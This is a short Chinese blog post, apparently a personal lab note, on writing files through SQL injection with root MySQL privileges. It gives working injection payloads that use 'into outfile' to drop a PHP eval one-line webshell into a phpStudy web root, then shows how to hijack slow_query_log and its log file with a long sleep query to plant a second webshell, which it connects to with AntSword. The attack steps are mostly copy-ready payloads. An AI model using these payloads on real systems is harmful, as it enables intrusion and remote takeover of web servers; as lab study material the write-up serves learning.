sql 读写注入

木…2023-12-06 21:14

root高权限读写注入

大姐我真是整了半天都是nullnullnull缝子

结果看了半天这个my.ini是被隐藏的大哥

终于读出来了

此时参数值系统变量 secure_file_priv已经被修改

原本此处变量值为 NULL，即没设置允许操作的目录，所以没法导出到文件。

这个变量就可以用来限制操作路径

?param=0' union select 1,2,3,4,'a' into outfile 'e:/2.txt'--+

我们可以看到2.txt被写入

我们可以写入一句话木马

复制代码

?param=0' union select 1,2,3,4,'<?php eval($_POST[a]);?>' into outfile 'D:/phpstudy_pro/WWW/c.php'--+

先检查一下是否上传成功

用蚁剑发现连接成功了v

太搞笑了连接自己

那么如果把my.ini内的参数secure_file_priv设置在c盘目录下

复制代码

secure_file_priv=c:/

我们可以发现我们就只能在c盘进行操作

set global slow_query_log=1;

set global slow_query_log_file='D:\\phpstudy_pro\\WWW\d.php'

D:\\phpstudy_pro\\WWW\d.php---------》shell路径

可以看到有了d.php

复制代码

select '<?php eval($ POST[a])?>' or SLEEP(1);

但是！！！

我发现如果sleep的少，并不会记录到日志中去

要sleep的久一点

复制代码

select "<?php eval($_POST[aaaaaa]);?>" or sleep(11);

可以看一下我们的日志d.php

因为尝试了很多次。。所以有很多

我们可以发现都是sleep(11)的被记录了

蚁剑连一下看看